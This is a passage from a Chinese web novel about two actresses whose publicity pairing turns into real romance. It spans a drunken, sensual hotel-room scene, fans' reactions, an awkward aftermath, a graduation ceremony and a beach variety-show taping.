四目相对，她在苏寄欢浅褐色的眼眸中看到了自己的模样——羞红的脸庞，还有极力掩饰却仍有迹可循的期待，以及心底那团难以名状、堵塞心尖的情愫。 是了，自己应该是，应该是…… 忽然，她的腰被苏寄欢紧紧抱住，紧接着苏寄欢的唇落在她白皙的脖子上，她感受着柔软黏腻的舌的舔舐，还有那阵急促的呼吸。 “吻了我劁我劁！啊啊啊啊真吻上去了！” “我真的要爆炸了！我感觉她们马上就要do了！” “妈妈妈咪，我出生了！” “天塌了啊！我站妹1的啊！星星怎么可能是0啊！我天塌了！” “如果一个姐姐不做1的话，那这个姐姐将毫无魅力可言。姐1才是仙品。” “我真没想到会有人站妹1，吃妹1的都是没品的家伙……” “就要姐1就要姐1！！” “我劁亲得好带劲啊！苏苏快把星星干到腰疼腿软！” “苏寄欢你不把星星抠死你不配当1！” “我塌房了，星星居然是0……” “我是星嬷，支持星星被苏苏抠爆。” “哈哈哈我就喜欢看意气风发的人被抠哭！星0仙品！” “同意，越是意气风发，越是不羁自由，越要做0啊。” “到底谁在吃星0，我星姐一看就当不了0好吧，苏0才……” “你苏姐马上就要把星宝抠晕了，还搁那吃姐0呢，笑死人了。” “还没抠呢就开香槟，等下还不知道谁在上谁在下，嘁。” “啧，好了别吵了！” 被吻着，祝星亦再也看不到其他，比如屋内暖黄的灯，还有干净的地板映照出的麓城的霓虹。细细的声音被夏夜吞没，一场来势汹涌的不明物攫取了她坚持太久的狼狈。 她感受着来自侧颈的呼吸，还有苏寄欢舌的柔软，以及自己不想抗拒、只想要、还想要更多的身体，琥珀色的眼珠上涌出了一层层雾气，她半张着嘴，忽然咧出一个笑。 她嘲笑自己。 她终于要承认了。 她真的好喜欢苏寄欢。 想要被吃掉，想要被占有，想要被摸头摸肚皮，想要永远待在这个怀抱里。 好喜欢苏寄欢。 好喜欢。 她流着眼泪，然后闭上眼。 苏寄欢的唇颤抖着，她的脸离祝星亦的脸太近，近到鼻尖在祝星亦的下颌线上刮蹭。她嗅到祝星亦身上的香气，好闻的、清甜的香，比她自己身上的酒气好闻许多。 她像爬虫一样在这个由她自己搭建的角落里探索这只狐狸，敏锐的感官涌起的感受像回卷的浪，从糖霜一般的月色下向大地铺陈着一切将知未至的东西。 糊涂的脑子无法再清亮起来，苏寄欢索性再向前一步，手掌按在玻璃窗上，身子紧紧与小狐狸的身子贴着，然后扶住小狐狸的头，将这个不算吻的啃咬加深。 她的尖牙咬起一小块皮肤，随后轻轻吮吸着，再用舌尖温柔地安抚，就这样，她咬她脖子，咬她肩头，咬她锁骨。 想要从上到下舔舐小狐狸的毛发，想要啃她咬她把她吃到肚子里。 香气弥漫，苏寄欢嗅着小狐狸的味道，低垂着头在小狐狸身上探索，直到她的唇顺着脸颊往前，唇与唇只差一厘米的距离。 慌乱的四目对视，她们呼吸紊乱，像被强风吹过的野草。 静住一刹，苏寄欢仓促地拉上窗帘，她慌张地往后退了几步，随后不知所措地坐到床上抱住脸。她沉默了很久才放下手侧头说：“对不起，我……我喝多了。” 祝星亦一声不吭地攥着拳走向门口，苏寄欢嚯地起身欲要去追，然而屋内的灯忽然全都灭了，只剩没完全拉上的窗帘那处透着一丁点来自麓城夏夜的光。 祝星亦把灯关了，苏寄欢停在床前什么也看不到，很快，她听到一阵高跟鞋的哒哒声。 越来越近，越来越近。 哒哒哒哒。 “关灯了！不是吧怎么关灯了！” “我还能拍，我能看到！我能看到一点点！啊啊啊啊！苏苏在床边站着！她们一定要do了！！” “关灯要做了！关灯就是要做了！” “我快疯了！我只是磕磕她们，谁知道她们是真的啊！老天奶，我真磕到真的了！！” “苏寄欢你把星星抠爆听到没有！” “星星你不做1，我就把周边全挂闲鱼上卖了！” “苏苏1！” “星星1！” “姐0是最难吃的！” “姐1才是最难吃的！” “好啦，求求你们别吵了，要吵去线上好不好。我服了，怎么天天都喜欢在线下干仗。” 祝星亦逼近苏寄欢后快速脱下高跟鞋，她伸手随意推了下苏寄欢，苏寄欢身子一软坐在床上。 猝不及防，祝星亦赤着脚长腿一跨坐在苏寄欢腿上。 “星……”苏寄欢有些不太理解接下来要发生什么，唇又被祝星亦香气弥漫的指堵住。 祝星亦搂着她的脖子轻声说：“苏老师，你要敬业。” 敬业二字落下，祝星亦吻上苏寄欢的唇。 语言是黑暗中最多余的东西，所有的感官都被无限放大。 突如其来的吻让苏寄欢措手不及，香软的舌在她口中摩挲着，她本能地抱住祝星亦的腰，然后扶着祝星亦的臀，让小狐狸离自己的身子更近些。 温热的唇瓣慢慢游移，苏寄欢想要克制，却又不断地索取着。 酒精让她丧失了所有理智，但她并不想让一切的罪过都归结于酒精。她只是太想要这个人了，她想要到完全没有理智。 潮湿的身体水哒哒的，肆无忌惮地浸透了衣服，她放纵地缠绞着怀里的人，轻轻咬磨着这双柔软的唇，一点一点将津液渡到小狐狸口中，然后疯了似的吮吸香甜的味道。 她像野兽，像被毒药蛊惑的凡人，不断地朝怀里的人进攻。她的指尖在小狐狸身上滑动，迫得小狐狸呜呜咽咽的。 这种哼哼唧唧的声音在黑暗里太刺激人，苏寄欢听不得，越听，体内的野兽越要破笼而出。 祝星亦脑子雾蒙蒙的，苏寄欢的吻太诱惑，肌肤贴合摩挲的声音颤颤的，像夏日傍晚滂沱的雨，滴洒在祝星亦身上遗落蛛丝般的雨痕，粘稠的雨水把她浇灌得只剩小小的呼救声。 祝星亦迷失在吻和这个怀抱里，理智告诉她要抽身，心告诉她要继续。 想要，想要，想要更多。 “嗯……”祝星亦软着身子勾着苏寄欢的脖子，她没什么力气，腰都塌了下去，“唔……” 软嫩的声音带起一阵炙热的痒，苏寄欢闭上眼吞下津液，旋即握住小狐狸细腻温软的手，与小狐狸十指紧扣。 热，身体逐渐升温，像潮湿闷热的雨季一样难耐。她紧扣小狐狸柔软的小手，力度愈来愈重，好似要把这只小手揉碎。 “苏……唔……” 小狐狸细碎的声音被苏寄欢强势堵住，然后柔软的身子动了下。 苏寄欢短暂地移开唇，仍是搂紧了她，声音低沉呼吸急促，“你不行了？” 祝星亦喘。息着，她抵上苏寄欢的额头，然后摇了摇头，“不……不是……” “是你想要的，那就不许逃。” “我……唔……” 苏寄欢粗喘着气继续吻上去。 她拥紧祝星亦，低。喘着继续和柔软的唇纠缠。可她总觉得这只小狐狸下一秒就要跑了，这种想法让她很没有安全感，她没再多想，脱掉自己的高跟鞋，抱起小狐狸把她放到床上。 躺到床上，小狐狸有点受惊，腿开始蜷缩起来。 “别怕。”苏寄欢握住祝星亦的手吻了下，“别怕，别怕。” 她压制着声音，边喘边说，“别怕，星星，别怕。” 借着仅从窗帘缝隙露出的月光，她看到小狐狸剧烈地喘息着，胸脯跟着起伏不停。 “别怕。”苏寄欢轻轻拍小狐狸的胸口，一下一下轻轻拍，像哄孩子一样，“慢慢呼吸，别怕。” 祝星亦跟着她拍的动作调整呼吸，呼、吸、呼、吸。 很快，呼吸平稳了一点。 苏寄欢见状，抬手抚上祝星亦的脸，指腹在她脸颊上轻轻摩挲着，“好，很棒，星星很乖。” “苏……”被这样珍惜地对待，祝星亦声音虚浮得好似要听不到了，“寄欢……寄欢……” 苏寄欢听到自己的名字从小狐狸口里说出，身子好似被什么啃噬了番痛苦难耐。 “什么？”苏寄欢修长白皙的腿从开衩裙中伸出，锢着祝星亦，随后扣住祝星亦的腰，手微微用力，“你喊什么？” 祝星亦伸出藕白色的臂，轻轻勾住苏寄欢的脖子：“寄欢……” 望着那双满是情。欲，没有一丝丝抗拒的眼，苏寄欢抬手抚了抚小狐狸的毛发。她想她应该降下一场暴雨，或是堆起一阵刺骨的雪，好让彼此清醒清醒，但现在她只想用自己去濡湿身下的人。 想珍惜小狐狸的鲜活和热烈，想把需要考虑的一切都碾碎。 不想只做师徒，不想只有纯粹的利益。 故作的矜持和端庄，在小狐狸这样的眼神中统统没用了。 她绷着脸，感受到小狐狸放松了一点点，她丢弃自己的沉稳自重，缓缓压下身子。 第76章 她咬我那里 压下身子，苏寄欢的指腹摩挲着祝星亦的额头不断地安抚着，鲜嫩水润的舌尖在祝星亦唇上轻扫。 祝星亦半阖着眼嘴唇微张，缓慢绵长的触感溢了出来，苏寄欢低着头，情难自禁地含住她的唇。 绵软挤在一起，压得祝星亦感到有点肿胀，一汩汩湿湿润润的东西扑腾腾的。潮气从没关严的窗缝里涌进来，裹着四肢肌肤上的薄红，还有胸口被挤压的痕迹铺在旖旎的水面。 被湿滑的舌小心翼翼舔咬着，祝星亦感受到苏寄欢素来的温柔和的别样的侵略。她想她应该警惕些什么，只是被苏寄欢触碰的一刹那，她不想再警惕什么，也不想再思考什么。 单薄的衣料在黑夜里摩擦出声，祝星亦的手缓慢移动了下，随后抚上苏寄欢的背，藕白的臂慢慢收紧，足尖勾着苏寄欢的小腿，一点也不想让她离开。 多缠绵才算缠绵，祝星亦不清楚，她只想现在好好抱着苏寄欢，或者被苏寄欢好好抱着。投进这个温暖的怀抱里，她就不想再离开。近一点，再近一点，亲密一点，再紧密一点。 借着工作的名义，苏寄欢不是她的神，不是她触不可及的神，不是她必须尊敬的老师。现在她们要足够亲密，足够暧昧，足够旖旎，足够乱七八糟。 浓重的呼吸缭绕在一起，她轻喘着气淹没在黑暗之中。 没关严的窗帘缝处露出一点光亮洒在屋内，微弱的光芒映照两人有些迷离的面容。苏寄欢一只手轻柔地扶着祝星亦的头，唇先是轻吮慢咬，片刻后沿着脸颊轻轻厮磨着。 她的鼻尖蹭过祝星亦的鼻尖，温热的气息喷洒在彼此脸上，随后又沿着眼角落下蜻蜓点水般的轻吻。 温柔细腻的吻一路蜿蜒到颈上，一吻接一吻落下，在祝星亦身上燃起一簇簇火苗，每一处吻落下，她身子颤着抖着，似是害怕苏寄欢的亲热，又在毫无保留接纳苏寄欢的一切。 “寄欢……”小狐狸嘤咛出声。 细细软软的声音好似在挠人，挠得苏寄欢蹙眉，她边吻边说：“不要说话，等下再说。” 酒精在苏寄欢的体内肆意蔓延，她脑子变得不太清醒，身子不自觉地扭动了下，一头乌发和祝星亦的发丝缠在一起，周围的一切都变得模糊不清，唯有彼此的触感足够清晰。 不够，吻不够，都不够。 苏寄欢喘着气，手缓缓伸向祝星亦的系带，她手指轻挑，稍稍用力便将祝星亦脖子上碍事的带子扯到了一旁。 瞬间，一片雪白的肌肤展露在眼前。她修长的手不安分地覆了上去，抚触犹如流动的水一般的绵软。 苏寄欢指尖微微蜷缩，似是贪恋这个触感。 她的唇又落了下去，在小狐狸的肌肤上留下一个个浅浅的齿痕，然后她顺着诱人的香味继续在小狐狸身上不断探索。 吻着嗅着，她曲起手指轻轻抓着。 很快她歪着头缓慢攀爬着，像是锁定了目标一般衔咬住，舌尖勾卷，再用柔嫩的唇包裹樱桃。 祝星亦喉咙间溢出细碎的轻吟。 被声音刺激着，苏寄欢缓缓睁开眼，鼻间呼出热气，等她听到自己略显急切的吮声和祝星亦压抑的声音后，她晃了下神儿，这才缓缓移开唇。 一线银丝从樱桃上拉出。 “啊！！”祝星亦尖叫着推开苏寄欢。 苏寄欢手忙脚乱地摸到床边的小台灯开关，“啪”的一声，昏黄的灯光瞬间洒满整个屋子，两人乱七八糟的模样就这样毫无遮掩地映入彼此眼中。 两人衣衫不整，祝星亦的脸上满是红晕，她捂着胸口跪坐在床上剧烈喘着，一头长发凌乱地散着挡住了大半张脸，掩不住眼中的慌乱与羞怯。 再看两人的身上，都布满了或深或浅的吻痕。祝星亦白皙的肌肤上布满了红紫色的咬痕，而苏寄欢的脸上则印满了口红印，肩背上还有几道祝星亦慌乱中留下的抓痕。 胸前湿漉漉的，身体也潮湿得笨重起来。祝星亦赶忙起身，却不想腿一软，直接跌坐在地上。 苏寄欢见状，下意识地伸手去扶，两人的手触碰到一起的瞬间，像是被烫到了一般，又迅速缩了回去。 四目相对，尴尬的气氛在屋内弥漫开来。 祝星亦红着脸，声音带着一丝颤抖说：“苏老师，应该够了，你拉好窗帘，休息吧。” 苏寄欢张了张嘴，刚吐出一个“星”字，就见祝星亦弯腰拿起高跟鞋，低声说了句“晚安”，便仓皇地跑了出去。 苏寄欢独自衣衫不整地站在屋子里，抬手揉揉头，又轻轻摸摸唇，脸上的红晕还未褪去，缓了会儿，自言自语道：“我刚刚，吃了她的……” 说着，她的脸更红了，又故作淡定地扇扇风。 浑身燥热，一团火在体内燃烧。 她咬了下唇，嘴角勾起一抹似有若无的笑，轻声说：“味道挺好。” 味道好是好，但今晚肯定是睡不着了。 第二天活动结束后去餐厅用餐，金允声和白澜跟着两人一起前往餐厅。 落座后，白澜敏锐地察觉到了两人之间的不对劲。 以往的祝星亦和苏寄欢总是有说有笑，可今天两人却像是陌生人一般，零互动，气氛沉闷得有些奇怪。 白澜心中疑惑，忍不住开口问道：“怎么回事？你们俩今天怎么这么安静？” 苏寄欢微微垂眸，神色略显疲惫，轻声说：“昨晚没有休息好。” 金允声在一旁皱了皱眉，疑惑地问：“但老板你不是早早回去了？怎么也没休息好吗？” 祝星亦像是被这话惊到了一般，咳嗽了两声，赶忙接话道：“她喝多了，身体不舒服，可能因为这个没有休息好。” 金允声听了，似是觉得有理，便也没再多问。 等上菜的间隙，白澜百无聊赖地拿着手机随意翻看，看着看着，她突然瞪大了眼睛，像是看到了什么不得了的东西，犹豫了一下，还是开口说道：“我看你们有cp粉发你们两个……” 说着，她欲言又止。 祝星亦心里“咯噔”一下，脑海中瞬间闪过不好的念头，心想不会是昨天晚上在床上的那些事儿被拍到了吧？ 她心里慌乱极了，赶忙凑过去一看，结果发现只是两人在窗边的照片。角度问题，两人好像只是亲密了些，没有别的举动，她这才暗暗松了口气。 那些人到底没有那么大胆真的把过分亲密的发出来，但她们私下可能会对这些影像图片进行贩卖。 不过，只要不流出就好。 苏寄欢也看到了照片，只是神色淡淡，点头说：“哦，卖cp呢，韩总监那边发放的任务。” 说着，她抬头看了眼祝星亦，目光扫过她身上严实衣服下隐隐露出的吻痕，还有特意用来遮挡吻痕的丝带。 祝星亦像是察觉到了苏寄欢的目光，顿时觉得脸上发烫，赶忙快速喝了口饮料，握着杯子的手不受控制地微微颤抖着。她瞄到了苏寄欢的脖子上的划痕，那是昨晚的荒唐里她用指甲不小心划到的。 苏寄欢没有特意遮掩什么，但那些痕迹放在祝星亦面前无异于时时刻刻提醒着她。 金允声在一旁撇撇嘴，不满地说：“磕cp也真是蛮离谱的，这种造谣你们两个人昨晚滚床单的要不要警告一下？” 苏寄欢轻轻摇头，“那倒不用，磕cp连滚床单都不敢想的话，那还磕什么cp。” 祝星亦听了这话，耳朵“腾”地一下红了起来，苏寄欢像是没注意到她的异样一般，抬手给祝星亦倒了饮料，看着她，轻声问：“星星介意吗？” 祝星亦抿着嘴没有吭声，苏寄欢又问了一遍：“介意她们造谣我们滚床单吗？” 祝星亦咬了咬牙，小声却又倔强地说：“不，不介意。” 苏寄欢挑起一侧眉，没再吭声。 餐后驱车回去，金允声开车，白澜坐副驾，苏寄欢和祝星亦坐后座。 苏寄欢神色平静地望向车窗外，不一会儿低头翻看手机上的内容，偏头对祝星亦说：“《夏日开场》马上就要录了，要去海边录制。正好你去年说要跟我一起选泳衣……” 苏寄欢话未说完，祝星亦耳朵一红，连忙摆手道：“不用了，我自己选。” “行。”苏寄欢应了一声，便没再言语。 一路无言。 祝星亦努力忘记昨天过火的吻，却怎么都忘不掉。 昨天晚上她不知熬到什么时候才睡，今早醒来见身上的牙印和吻痕太多，尤其是颈上那一块儿，几乎都是黑紫色了。她没办法，只能穿了件高领衣服，顺便拿丝巾盖住脖子。 强势的、黏腻的、席卷一切的荒唐就这样发生在她和苏寄欢之间。柔软湿滑的唇比春风软，比春雨细，滴滴洒洒从唇上到身上润物有声。 车内很安静，祝星亦低着头，身体努力往车的一侧坐，想与苏寄欢拉开距离。 她羞于主动去讲昨天的亲密之事，若是主动提起，她也不知道从何开口。 无论是苏寄欢主动索吻，还是自己主动吻上去，又或者是苏寄欢那些过火的行为，她实在是难以启齿。 苏寄欢怎么会……怎么会咬她那里…… 祝星亦借着揉头发的动作，偷偷瞥了眼苏寄欢。 车窗外夏日傍晚的光洒在苏寄欢冷白清绝的侧颜上，鼻高唇薄，像一块疏疏的白玉。苏寄欢神色太过淡然，像是昨夜的事没发生过那般。 祝星亦满心疑惑，苏寄欢这么淡定的吗？难道说昨天喝得太醉，什么都忘了？那要不要提醒一下？ 她内心纠结不已，想了想，她决定不提醒了，但她没办法把那件事当作没发生过。可除了装不知道，也没有更好的解决办法了。 苏寄欢都说了是工作，工作还在意这些干什么？祝星亦抠着手指头，心里涌上一股酸涩。 工作……如果她不和苏寄欢卖cp，苏寄欢就会和别人卖。如果当初她不演《寄明月》，苏寄欢会因为卖cp和别人接吻。 工作就是和谁都可以，而且看苏寄欢对待两个人卖cp的亲密行为，那么敬业那么淡定，她肯定也不会在意接吻这件事。至于过火的动作，更是一个字也不解释，好像真的只是工作的一部分…… 和谁都可以，和谁都无所谓，敬业的苏寄欢，无所谓的苏寄欢。 是啊，这样的人才能塑造出各种各样的角色，才能驾驭不同的主角。 工作嘛，工作而已，根本不会参杂感情。 祝星亦塌下肩，有些失神地看着车窗外。 车驶向艺域公寓，下车后，祝星亦大步迈出去。 苏寄欢快步追上她，“你总不能一直躲着我。” “躲？”祝星亦不吭声，沉默了许久才道：“我们昨天晚上是在工作，我没有别的想法。” 苏寄欢微微挑眉，眼中似有深意，“那你希望我有别的想法吗？” “别的想法……”祝星亦蜷着手指，小声说：“苏老师……会有什么想法？” 苏寄欢靠近祝星亦，凛冽的柚子花香扑面而来，她垂着眼，似笑非笑地看着祝星亦，轻声说：“等你有别的想法的时候，我再告诉你。” 苏寄欢转身，又回头挥挥手。 车离开，祝星亦站在原地愣神儿。 /// 6月中旬，白澜收拾好东西带祝星亦去华影参加苏寄欢的毕业典礼。 “苏小姐真优秀啊，才28岁，博士都毕业了。”路上，白澜感叹，脸上满是钦佩之色。 “是啊，她一路走来都很优秀。”祝星亦坐在副驾，目光有些飘忽，看着车窗外应道。 祝星亦掰着手指头算算，自己过完这个暑假就要大三了。她平时忙完工作还要回学校上课，班里的同学有羡慕她这么快就火了，也有对她毫不在意的。 那些人多是有了更好的选择，在内娱打工也没什么大不了的。倒是那些人都问她和苏寄欢的恋情到底是不是真的。 祝星亦往往会跷着二郎腿，满不在乎地回答：“我倒希望是真的呢，可惜我们只是同事。” 同学们了然，问了些一些人的猛料，祝星亦添油加醋说了后引得他们大呼小叫的。 祝星亦抱着怀里的花嗅了嗅，脸上露出向往的神情：“我也想像她一样优秀。” “星亦也要读博吗？” “等我读博都不知道要到哪一年了。” “哈哈哈也是。” 到华影后，祝星亦摸摸索索一会儿才找到苏寄欢。苏寄欢刚拍完大合照，在跟校友合影。祝星亦抱着花等了会儿，怎么也没等到苏寄欢停下来。 一个接一个人跟苏寄欢合影，往后一瞅，那些人好像在排队合影。怕破坏气氛，祝星亦只好带白澜去树下的长椅上坐会儿。 “她什么时候拍完？”祝星亦嘟囔着，眉头微微皱起。 白澜无奈地说：“要等一会儿了，苏小姐很受欢迎。” 祝星亦低头等着，不一会儿有穿学士服的人站到祝星亦面前。 “哇，真的是你诶！”女生拿着捧花，身后还站了几个黑袍粉领的女生，眼睛亮晶晶地看着祝星亦。 另一个女生有些激动地问：“星星，我们可以合照吗？” 祝星亦把花给白澜，起身点头，脸上带着微笑：“可以，当然可以。” 等不到苏寄欢，祝星亦只好先和几人合影，有人看到这里热闹，纷纷围了过来，乘凉的小长椅处顿时围满了人。 “星星，你今天怎么来华影了？” “是啊？今天有活动吗？” 祝星亦犹豫了许久不知如何作答，一个女生眯着眼笑说：“你是不是参加苏苏的毕业典礼？” 周围人立马反应过来：“是啊！今天苏小姐博士毕业呢！” “天啊，你来参加她毕业典礼，呜呜呜你们关系真的好好！” “星星，你和苏小姐是真的吗？” “嗷嗷嗷，星星，你们真的谈了吗？” 线下遇到这些问题，祝星亦觉得有些棘手，但还是笑着回答：“我们关系是挺好的，但我们没谈。” 她说着，又跟这些人合影，没过一会儿，人群又沸腾起来。 “苏苏！苏苏来了！” “苏苏来看老婆了吗？” 苏老师来了？ 祝星亦忙拿起花，踮着脚往人群望去的方向看去，但人群挡着，什么也看不到。 “借过，谢谢。”一声疏淡的声音传过来。 抱着花，祝星亦看到穿着红黑袍子的苏寄欢挤过来。 人群自动让出位置。 “苏老师，嗯……毕业快乐。”祝星亦把花递过去，眼中带着一丝羞涩。 苏寄欢双手接过，垂头嗅了嗅，脸上露出笑容，随后一手揽过祝星亦的肩，跟围在一旁的粉丝说：“谢谢大家，我们先离开了。” “啊啊啊啊！我疯了！” “搂住了搂住了！我的天啊！” “呜呜呜星星苏苏再见！” “差点没找到你。”苏寄欢揽着怀里的人快步赶到教学楼处，离人群远了许多，她才收回手臂停下，低头嗅了嗅花，“很香，谢谢你。” 华影校园里种了很多香樟树，教学楼前后也有很多。夏日的阳光透过香樟树高大茂密的树冠，树影斑驳，风一过，椭圆的树叶发出窸窸窣窣的声音，像情人的耳语。 苏寄欢站在树影里，低眸看背着手的祝星亦，问道：“除了鲜花，你还有准备别的吗？” 祝星亦歪着头想了想说：“有，在车里放着，我觉得拿着不方便就没带过来，待会儿给你。” “现在就想要。”苏寄欢带着些许撒娇的口吻说道，然后向前迈了一小步。 祝星亦：“行，我们去车……” 话音未落，苏寄欢迅速伸出手，修长的手指轻轻扣住祝星亦的手腕，稍一用力，将还在愣神的祝星亦往自己身前拽。 祝星亦一个踉跄向前，苏寄欢顺势张开双臂抱住她，另一只手揽住她的腰肢把人揉进自己怀里，头埋在祝星亦的发间嗅了嗅香气。 “苏……苏老师……”祝星亦的声音因这突如其来的亲密举动而变得有些颤抖，身体也僵住。 “不用其他礼物，一个拥抱就够了。谢谢你，你已经见证我很多重要时刻了。”苏寄欢双臂缓缓收紧，极为珍惜地抱着祝星亦，喃喃低语，“谢谢你，星星。” 祝星亦渐渐放松下来，不再吭声，任由苏寄欢抱着，片刻后轻声说：“不用谢，你也见证了我很多重要时刻。” 苏寄欢慢慢松开她，双手却仍搭在她的双肩，认真地注视着祝星亦的眼睛，沉默了一会儿，开口说：“过段时间录《夏日开场》，真不用我来选泳衣了吗？” 祝星亦摇头坚定地说：“真不用了苏老师，我差不多选好了。” “那回去给我看看。” “啊？”祝星亦抖着唇说，脸上泛起红晕。 “看看样式，不行吗？总得看看你选了什么。”苏寄欢抱着花拉着她去学校餐厅，她饿坏了，想赶紧吃点东西。 祝星亦憋着一股劲儿，牙齿轻咬着下唇，从牙缝中挤出几个字：“不用了，到节目上就知道了。” “哦，也行，总会看到的。”苏寄欢转头，盯着祝星亦的眼意味深长地笑了一下，“现在先去吃点东西。” 吃东西……祝星亦仓皇地转过头，不知为何，她的左胸隐隐传来一阵刺痛。 “你怎么了？”苏寄欢看她脸色不太好看，忙问。 祝星亦嘟囔了一句，“没什么，吃饭去。” “想吃什么？我饭卡还能用。” “吃什么都行。” 苏寄欢低头，瞄了两眼两人的影子，一高一低。她保持和小狐狸一样的步子幅度，嗯了声：“行，我来给你点。” “苏老师？” “嗯？” 祝星亦抿了抿唇，犹豫了一下问：“我毕业那天，你能来吗？” 苏寄欢把手从袍子袖筒里抽出来，握住她的手腕：“肯定的，我肯定会来，我也要见证你的毕业典礼。” 祝星亦笑着点头：“好，谢谢你。” 《夏日开场》节目录制当天，苏寄欢见到了祝星亦的泳衣。 挂脖上装，露着纤细的腰，系带斜叉短裙，外面套了件透色的罩衫。柔软饱满，肌肉线条流畅，那双比例超绝的长腿颇为惹眼。 “挺好的。”苏寄欢上上下下打量了几眼，往祝星亦身边靠近了些许，微微低头，轻声说：“不过我也给你准备了一套，今天录完给你试试。” “送我？”祝星亦侧头有些惊讶地问，“我……” “嗯？怎么了？”苏寄欢歪头，身子再往祝星亦脸前凑近，两人之间的距离瞬间拉近，“你怕尺码不合适？” 祝星亦抓着自己的罩衫，她只要抬头就能看到苏寄欢的36D的弧线。 苏寄欢穿着系带泳衣，带子系在人鱼线上，下。身穿着包臀开衩长裙，露出修长的腿。 泳衣有些歪斜，苏寄欢伸出手指勾拽了下胸前的衣料。 柔软跟着弹动了下。 她又睨着祝星亦，单手撩了撩颈边的发，露出修长白皙的脖子。 祝星亦快速瞄了苏寄欢一眼。 苏寄欢认真盯着她看，她只能仓促地低下头，瞥见苏寄欢的小腹。 微微隆起的小腹是成熟女人专属的性。感，也是一个女人最迷人的曲线。苏寄欢手臂和腿部的肌肉线条，构成了厚重的生命力。 魅惑却不艳俗的苏寄欢，永远包容，永远……伟大。 两具身子离得太近，祝星亦不好再把视线放在苏寄欢身上，尴尬地将头偏向一侧，脸颊瞬间染上一片红晕，“当然了，你又不知道我的尺码。” 苏寄欢垂着长睫，目光落在祝星亦胸口上。 之前留在小狐狸身上的那些吻痕、齿痕都已消失不见。 “我怎么不知道？”苏寄欢的腰身微微弯曲，嘴唇几乎贴着祝星亦的耳朵，温热的气息喷洒在她的耳畔，声音轻柔，“那天我手动测量过了，34C，对吗？” 第77章 被她吻晕了 手动……测量过了…… 听到这话，祝星亦脸瞬间涨得通红，眼里满是羞怯与慌乱。 她匆忙扫视着周围那些还在准备开录的嘉宾，见没人关注这里，她双手紧紧地攥成拳头，带着几分羞恼低声说：“苏老师，你不要提这件事。” 苏寄欢却只是无所谓地耸耸肩，一脸坦然，不紧不慢地回应道：“工作嘛。” 随即便挑了挑眉，语气轻松：“没什么不能提的。” 苏寄欢这种太过自然的模样，很难让祝星亦思绪平静。 接吻是工作，咬……咬那里也是工作，手动量胸围也是工作？？ 敬业到这种地步了吗？ 祝星亦心里越发地不自在，带着一丝孩子气的埋怨说：“但是我吃亏了。” “吃亏？”苏寄欢疑惑*地睁大眼睛，接着轻轻挑眉，拖长尾音“哦”了一声，笑着重复：“啊，吃亏啊。” 常驻嘉宾热场后，小芬热情洋溢地介绍着本次来玩的嘉宾：“欢迎我们的明月和阿星，欢迎～” 嘉玲满脸笑容，率先带头鼓掌，兴奋地说道：“咱们的《寄明月》很火哦，我每天都蹲在达尼等着更新呢！” 苏寄欢和祝星亦面带微笑，礼貌地颔首致意。 一番聊天热场后，游戏环节正式开始。 游戏是[抱抱乐］，规则是抱着自己队友运送物品，若东西掉落就要回到起点重新运送。 祝星亦站在原地，有些犹豫地先看了看自己，又抬头望向苏寄欢。 苏寄欢则毫不犹豫地向前迈了一步，大方地伸着手臂，眼里带着一丝期待，说：“来。” 祝星亦仍有一丝迷茫，她转头看了看其他队的嘉宾，发现他们都是公主抱，于是转过头来，有些不确定地对苏寄欢说：“我们是不是……” 还没等她把话说完，苏寄欢便迅速弯腰打横把她抱起。 祝星亦完全没有心理准备，忽然感觉身体一阵失重，心也猛地提到了嗓子眼。出于本能，她的双手慌乱地抱住苏寄欢的脖子。 两人的胸脯挤压在一起，祝星亦的耳朵变得滚烫，红晕以肉眼可见的速度从耳朵蔓延到脸颊。 “拿东西。”苏寄欢稳稳地抱着祝星亦走向一旁，声音平静，眼神专注地盯着前方。 “好。”祝星亦深吸一口气，努力让自己镇定下来，然后伸手去拿东西。 苏寄欢抱着祝星亦，脚步飞快，很快就跑到了终点。可还有东西需要拿，苏寄欢又抱着祝星亦折回去继续拿。 戴墨镜的单梓彤看到这一幕，嘴角上扬着拿起手机开始录像，看到邱涵还在愣着，赶忙用眼神示意。 邱涵很快回过神来，心领神会地举起手机。 不一会儿，哨子一吹，祝星亦把手里的东西投进去，这个活动终于结束了。 刚刚她被苏寄欢抱着颠来颠去，两人又紧紧贴着，难受极了。 “苏老师，你放下我。”祝星亦皱着眉头，小手轻轻地拍了拍苏寄欢的后颈。 苏寄欢听到指令，立马松开双手。 祝星亦完全没想到她会突然放手，整个人直直地往下掉。好在她反应迅速，赶忙搂紧苏寄欢的脖子，双腿也下意识地夹住苏寄欢的腰。 她整个人挂在苏寄欢身上，苏寄欢脸上虽然努力绷着笑意，嘴角还是忍不住上扬，声音轻轻，带着一丝调侃：“可以下来了吗？树袋熊？” 祝星亦心里又羞又恼，眉毛紧紧拧在一起，踩着苏寄欢的脚下来站到一旁。 “你故意的。”祝星亦不满道。 苏寄欢却一脸无辜地睁大眼睛，好奇地问道：“什么？” 祝星亦看着她明知故问的模样，心里更加生气，转过头去，从鼻子里哼了一声，不再理会她。 《夏日开场》结束后两人即刻返回酒店，晚上还有一场连线直播，她们得赶紧准备准备。 “酒店离我家近，等下收拾下去我家直播。”车上，苏寄欢提议。 祝星亦想也不想应着：“行，你之前没有在家里直播过吧？” “没有，我不搞这些，也就这部剧开始做这些。” “正好，可以去撸一撸苏豆豆，我上次给她送的玩具她喜欢吗？” “挺喜欢的。” 祝星亦揪着自己的罩衫又问：“那个……苏老师，你以前没有卖过cp，或者是以工作的名义做过其他事吗？” “没卖过cp，我不需要这些。”苏寄欢抬手勾自己的发，侧过脸勾唇问：“其他事……什么其他事？” 祝星亦缩了下脖子摇头：“没什么。” 密闭的空间里，两人的泳衣都还没换，祝星亦有点心猿意马，吸了口气说：“苏老师，有些事我还是想说。” “想说那天的事？”苏寄欢沉默了会儿说：“怎么了？心里还是有疙瘩？” 祝星亦点头，算是承认了。 她心里肯定有疙瘩，这事她怎么都骗不了自己，如果解决不了，她会一直记得那天两人的失控。 缓了会儿，苏寄欢道：“你都说是工作了，也说没有别的想法，那为什么不能正常看待这件事？是觉得吻了自己的老师很愧疚？” “有一点，觉得很不道德。”祝星亦偷看苏寄欢一眼，“我亵渎了你。” 苏寄欢每次听到亵渎这个词都很无奈，“不要总说亵渎这个词，我只是一个普通人。你要平视我，我没什么值得你去仰望，我只是苏寄欢而已，我没什么大不了的，任何人都可以成为我，我只是一个很普通的女人。” 祝星亦不说话。 车内安静了很多。 “回酒店我再跟你说。”苏寄欢叹口气。 “嗯。” 到酒店，苏寄欢让祝星亦跟着去自己房间。 